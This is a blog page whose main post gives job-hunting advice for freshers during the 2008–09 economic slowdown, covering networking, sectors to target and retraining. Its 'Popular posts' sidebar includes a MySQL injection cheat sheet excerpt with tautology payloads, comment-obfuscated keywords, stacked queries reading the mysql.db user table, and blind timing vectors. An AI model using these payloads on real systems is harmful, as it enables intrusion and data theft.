Skip to main content

Job hunting in an economic slowdown


Hi Users,

If any Fresher Candidates really Depressed of the current job, then dont worry. The BOOM is comming ahead...... Just read and mark my few words and Success is at your Doorstep.

Reports of companies laying off thousands of employees globally have made many young professionals skeptical about the job market. There is a certain amount of insecurity and uneasiness amongst professionals today as all signs point to an increasingly unwelcome economic outlook in the coming months.

With the recent downfall of some big banking players, the employment markets globally are in turmoil. Facing a layoff is fast becoming more and more a real prospect for many professionals. To keep your job, you need to work smart not and do whatever it takes to make sure you are crucial to your company.

But you must also have a plan, in case your organization thinks you are not so crucial or efficient. Here are some suggestions to help you in the job search process in these difficult times:

Treat the job search process as a job If you are unemployed, your focus or the interim job now is to get a new job. That means that you must dedicate part or full time hours to a structured job pursuit. Set a schedule everyday for networking with peers, finding leads and openings, preparing customized resumes and cover letters and finally sending them across to prospective employers.

An astute sense of focus will give you better results and enable you to find a job faster. A job search will involve picking up the phone and making cold calls, appearing for several interviews, facing rejection etc. A structured approach will make it easier for you to handle these new variables in your life.

Open up your mind to new sectors / jobs You're sending email blasts to get the word out. You've researched companies of interest and tapped into your network. But still no results. To get back out there, earn some income and re-build your confidence, you may need to broaden the jobs that you'll consider. Take some time to set both short-term and long-term goals. Do you want to work toward a new career path? Do you need to find a job right away?

Based on your professional and personal needs, form goals directed toward your next employment move. Sometimes setbacks can hold the gem of an exciting new opportunity. For example, let's say you enjoy designing websites for friends and you have your own blog. You've dreamed about taking this hobby to a professional level. Does the ending of your current job give you the chance to go for your dream? You may opt to work either full time or part time while you get trained for and launch a new business. There are many ways to make it happen. Look for the opportunity in the setbacks

Always be looking Never just sit quietly in regret. You are in charge of your own career. Contact hiring managers to ask questions by phone or in person. Or try contacting someone in a department of interest and see if they'll chat with you for 10 minutes about what it's like to work there.

Network- : Contact colleagues for job leads. Set up lunches and coffee meetings to let people know you're searching. Friends and colleagues can be your greatest allies in finding work

Research companies before interviews. Even reading a press release about a new product the company created can let the interviewer know you did your homework.

Follow up with prospective employers. After an interview, call the person who interviewed you, send an email or a hand written thank you note. Re-emphasize your commitment and enthusiasm for the job.

Industries to target While all sectors are affected, to some extent, by the current problems of the global economy, some are doing relatively better and professionals may target such sectors. First, the FMCG sector is a strong "defensive" industry. The demand for the daily consumption goods is less elastic both on income and on price levels. It is therefore, not surprising that their share prices have fallen much less, about 30 per cent, from their recent peaks, compared to 90 percent in the Realty sector.

Other such sectors, still growing, are Telecom, Pharmacy, Power, Power Equipment and Financial Services. Take an inventory of your skill sets and see if you need to educate yourself further. It is a fact that the more education you have, the more money you can make in your lifetime. A downturn is a good time to head back to school and learn. There are several management and other short-term programmes that are offered these days by several leading institutions. Education opens the door and shows that you are a learner, able to stay the course, and have a measurable knowledge in your field.

Recommendations to those who have been laid off recently Those laid off as a result of the downturn should stay calm. It is not the end of the world. In the current globalized one market world, all countries are subject to business cycles. There will be Recessions and recoveries. Indian professionals are relatively more fortunate. India, like China, is only experiencing a "slowdown", not a recession, which is defined as a fall in GDP.

Indian growth is forecast at about 7 percent this year, and 6 percent in 2009-10. So professionals should search for jobs in the sectors identified above. Use spare time for learning; tooling up; personal and professional growth. Reduce expenses. Defer whatever is possible. Start saving for the next big downturn. Draft a comprehensive standard CV, reflecting experiences, learning and competences. Package it well. But, truthfully.

Identify the sectors, where your skills have relevance and value. Shortlist the companies with potential. While you may ideally want to work for the top companies, be ready to start with a reasonable job even in a medium or small company. "Lower your expectations about what you're going to get. When your gut feeling says to take the job, do it. Don't let pride get in the way." Do not stall. You never know where the position will lead.

Being in a job makes it easier to trade up later. Use multiple channels -- job sites; placement firms; responses to ads; direct applications; leveraging suitable contacts, etc. Before each interview, do good home work on that company. Take some training in job hunting. Don't appear desperate. Stay optimistic. The upturn will come.

Regards
Priyadarshan Mohanty
Software Engineer
Mindfire Solutions

Comments

Anonymous said…
Yes Kanika, Very Right.

Popular posts from this blog

BUG TRIAGE

Bug Triage– Severity & Priority "Triage" is a medical term. It refers to dividing wounded or sick people into three categories: those who will die no matter what you do, those who will recover even if unaided, and those who will recover only if aided. In a situation where there's too much to do, you must concentrate on the third group. Bug Triage Meetings (sometimes called Bug Councils) are project meetings in which open bugs are divided into categories. The most important distinction is between bugs that will not be fixed in this release and those that will be There are three categories for the medical usage, software also three categories - bugs to fix now, bugs to fix later, and bugs we'll never fix Triaging a bug involves: Making sure the bug has enough information for the developers and makes sense Making sure the bug is filed in the correct place Making sure the bug has sensible "Severity" and "Priority" fields Let us see wh

oops…you did it again and again

No matter how reliable the candidate looks on paper, he/she needs to do deliver at the interview stage. Hiring managers share some of the most unforgettable blunders made by candidates and suggest preventive measures to avoid such goof-ups. Viren Naidu A job interview is indeed a place where even a small slip can go a long way. Candidates need to be alert and well prepared before a job interview, so that they can project a complete, holistic picture of their qualifications, as well as strike a chord with the interviewer. In some instances, a candidate may be, otherwise, well suited for the job role, but small character traits and behavioural glitches may land him/her in a tough spot, and the offer may, in turn, be withdrawn. Here are some of the common mistakes candidates make and ways in which you can avoid them: 1) Harpreet Kaur, Sr. general manager & head – human resources, Godrej & Boyce Mfg. Co. Ltd: Mistake 1: The candidate has the tendency to give the impression that he/

Examples MYSQL injections

  MySQL Injection Cheat Sheet Basics. SELECT * FROM login /* foobar */ SELECT * FROM login WHERE id = 1 or 1=1 SELECT * FROM login WHERE id = 1 or 1=1 AND user LIKE "%root%" Variations. SELECT * FROM login WHE/**/RE id = 1 o/**/r 1=1 SELECT * FROM login WHE/**/RE id = 1 o/**/r 1=1 A/**/ND user L/**/IKE "%root%" SHOW TABLES SELECT * FROM login WHERE id = 1 or 1=1; SHOW TABLES SELECT VERSION SELECT * FROM login WHERE id = 1 or 1=1; SELECT VERSION() SELECT host,user,db from mysql.db SELECT * FROM login WHERE id = 1 or 1=1; select host,user,db from mysql.db; Blind injection vectors. Operators SELECT 1 && 1; SELECT 1 || 1; SELECT 1 XOR 0; Evaluate all render TRUE or 1. SELECT 0.1 <= 2; SELECT 2 >= 2; SELECT ISNULL(1/0); Math SELECT FLOOR(7 + ( RAND () * 5)); SELECT ROUND(23.298, -1); Misc SELECT LENGTH(COMPRESS(REPEAT('a',1000))); SELECT MD5('abc'); Benchmark SELECT BENCHMARK(10000000,ENCODE('abc','123'));